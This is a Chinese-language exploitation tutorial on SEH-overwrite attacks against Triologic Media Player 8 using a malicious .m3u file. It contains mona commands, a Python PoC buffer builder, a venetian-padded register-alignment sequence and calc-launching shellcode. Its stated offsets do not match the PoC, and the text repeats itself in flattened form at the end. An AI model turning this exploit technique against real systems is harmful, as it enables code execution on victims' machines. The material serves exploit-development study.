Coding art in shellcode(3)
字数 1172 2025-08-05 08:16:26

基于SEH的Shellcode编码与利用技术详解

1. SEH漏洞利用基础

1.1 SEH结构概述

异常处理机制(SEH, Structured Exception Handling)在Windows系统中包含两个关键结构:

  1. Pointer to next SEH record (nSEH):指向下一个异常处理链的指针
  2. Pointer to Exception Handler (SEH):指向异常处理函数的指针

1.2 利用流程

典型的SEH利用流程如下:

  1. 使用大量填充字符覆盖到SEH位置
  2. 通过模式字符串(pattern)定位精确偏移
  3. 构造利用结构:
    • 将SEH覆盖为ROP地址(POP POP RET)
    • 将nSEH设置为短跳转指令(如\xEB\x06)
  4. 跳转到shellcode执行位置

2. 实际漏洞利用案例

2.1 案例环境

使用Triologic Media Player 8作为演示目标,构造恶意.m3u文件进行利用。

2.2 偏移定位

  1. 使用Immunity Debugger挂载目标程序
  2. 生成5000字节的模式字符串
  3. 程序崩溃后使用mona插件分析:
    !mona pattern_create 5000
    !mona findmsp
    
  4. 确定偏移量(本例中为549和600)

2.3 POC构造

基本POC模板:

#!/usr/bin/python
filename = "evil.m3u"
buffer = "A" * 538 + "BB" + "C" * 4462
textfile = open(filename, 'w')
textfile.write(buffer)
textfile.close()

3. Unicode编码挑战

3.1 Unicode编码问题

  • EIP显示为Unicode编码形式(如00410041而非41414141)
  • 需要寻找兼容Unicode的ROP指令

3.2 解决方案

  1. 使用mona查找Unicode兼容的ROP指令:
    !mona seh -cp Unicode
    
  2. 环境适配问题可能需要:
    • 重启系统
    • 更换操作系统版本(如英文版XP)

4. Shellcode执行控制

4.1 EAX寄存器控制

通过以下汇编指令序列使EAX指向shellcode:

\x55        ; 将EBP的值压入堆栈
\x71        ; Venetian Padding
\x58        ; 获取EBP的值并将其弹入EAX
\x71        ; Venetian Padding
\x05\x20\x11; add eax, 0x11002000
\x71        ; Venetian Padding
\x2d\x17\x11; sub eax, 0x11001700
\x71        ; Venetian Padding
\x50        ; 将EAX的新值压入堆栈(指向缓冲区)
\x71        ; Venetian Padding
\xC3        ; 重定向执行流到堆栈顶部的指针

4.2 Unicode兼容Shellcode

挑战:

  • 内存中大于0x80的字节编码会出问题
  • 需要特殊编码的shellcode

解决方案:

  1. 使用msf生成Unicode兼容payload
  2. 使用ALPHA3等编码工具
  3. 分段处理高字节数据

5. 实际Shellcode示例

以下是一个实际可用的shellcode示例(需注意Unicode编码问题):

shellcode = (
    "\x55\x8B\xEC\x33\xC0\x50\x83\xEC\x09\xC6\x45\xF3\x6B\xC6\x45\xF4\x65\xC6\x45\xF5\x72"
    "\xC6\x45\xF6\x6E\xC6\x45\xF7"
    "\x65\xC6\x45\xF8\x6C\xC6\x45"
    "\xF9\x33\xC6\x45\xFA\x32\xC6"
    "\x45\xFB\x2E\xC6\x45\xFC\x64"
    "\xC6\x45\xFD\x6C\xC6\x45\xFE"
    "\x6C\x8D\x45\xF3\x50\xB8\x7B"
    "\x1D\x80\x7C\xFF\xD0\x8B\xE5"
    "\x33\xC0\x50\x83\xEC\x08\xC6"
    "\x45\xF4\x63\xC6\x45\xF5\x61"
    "\xC6\x45\xF6\x6C\xC6\x45\xF7"
    "\x63\xC6\x45\xF8\x2E\xC6\x45"
    "\xF9\x65\xC6\x45\xFA\x78\xC6"
    "\x45\xFB\x65\x8D\x45\xF4\x50"
    "\xB8\xAD\x23\x86\x7C\xFF\xD0"
    "\x8B\xE5\x5D"
)

6. 高级技巧与注意事项

  1. Venetian Padding:使用\x71等指令作为填充,确保指令对齐
  2. 内存操作:通过加减操作精细控制寄存器值
  3. 环境适配:不同系统版本可能需要调整偏移和指令
  4. 调试技巧:在关键地址设置断点(如00420042)

7. 总结

基于SEH的shellcode编码与利用是一项需要精细控制的技术,关键在于:

  1. 精确计算偏移量
  2. 构造可靠的ROP链
  3. 处理Unicode编码限制
  4. 确保shellcode在目标环境中可执行

虽然这项技术较为古老,但理解其原理对于现代漏洞利用技术的学习仍有重要价值。

基于SEH的Shellcode编码与利用技术详解 1. SEH漏洞利用基础 1.1 SEH结构概述 异常处理机制(SEH, Structured Exception Handling)在Windows系统中包含两个关键结构: Pointer to next SEH record (nSEH) :指向下一个异常处理链的指针 Pointer to Exception Handler (SEH) :指向异常处理函数的指针 1.2 利用流程 典型的SEH利用流程如下: 使用大量填充字符覆盖到SEH位置 通过模式字符串(pattern)定位精确偏移 构造利用结构: 将SEH覆盖为ROP地址(POP POP RET) 将nSEH设置为短跳转指令(如\xEB\x06) 跳转到shellcode执行位置 2. 实际漏洞利用案例 2.1 案例环境 使用Triologic Media Player 8作为演示目标,构造恶意.m3u文件进行利用。 2.2 偏移定位 使用Immunity Debugger挂载目标程序 生成5000字节的模式字符串 程序崩溃后使用mona插件分析: 确定偏移量(本例中为549和600) 2.3 POC构造 基本POC模板: 3. Unicode编码挑战 3.1 Unicode编码问题 EIP显示为Unicode编码形式(如00410041而非41414141) 需要寻找兼容Unicode的ROP指令 3.2 解决方案 使用mona查找Unicode兼容的ROP指令: 环境适配问题可能需要: 重启系统 更换操作系统版本(如英文版XP) 4. Shellcode执行控制 4.1 EAX寄存器控制 通过以下汇编指令序列使EAX指向shellcode: 4.2 Unicode兼容Shellcode 挑战: 内存中大于0x80的字节编码会出问题 需要特殊编码的shellcode 解决方案: 使用msf生成Unicode兼容payload 使用ALPHA3等编码工具 分段处理高字节数据 5. 实际Shellcode示例 以下是一个实际可用的shellcode示例(需注意Unicode编码问题): 6. 高级技巧与注意事项 Venetian Padding :使用\x71等指令作为填充,确保指令对齐 内存操作 :通过加减操作精细控制寄存器值 环境适配 :不同系统版本可能需要调整偏移和指令 调试技巧 :在关键地址设置断点(如00420042) 7. 总结 基于SEH的shellcode编码与利用是一项需要精细控制的技术,关键在于: 精确计算偏移量 构造可靠的ROP链 处理Unicode编码限制 确保shellcode在目标环境中可执行 虽然这项技术较为古老,但理解其原理对于现代漏洞利用技术的学习仍有重要价值。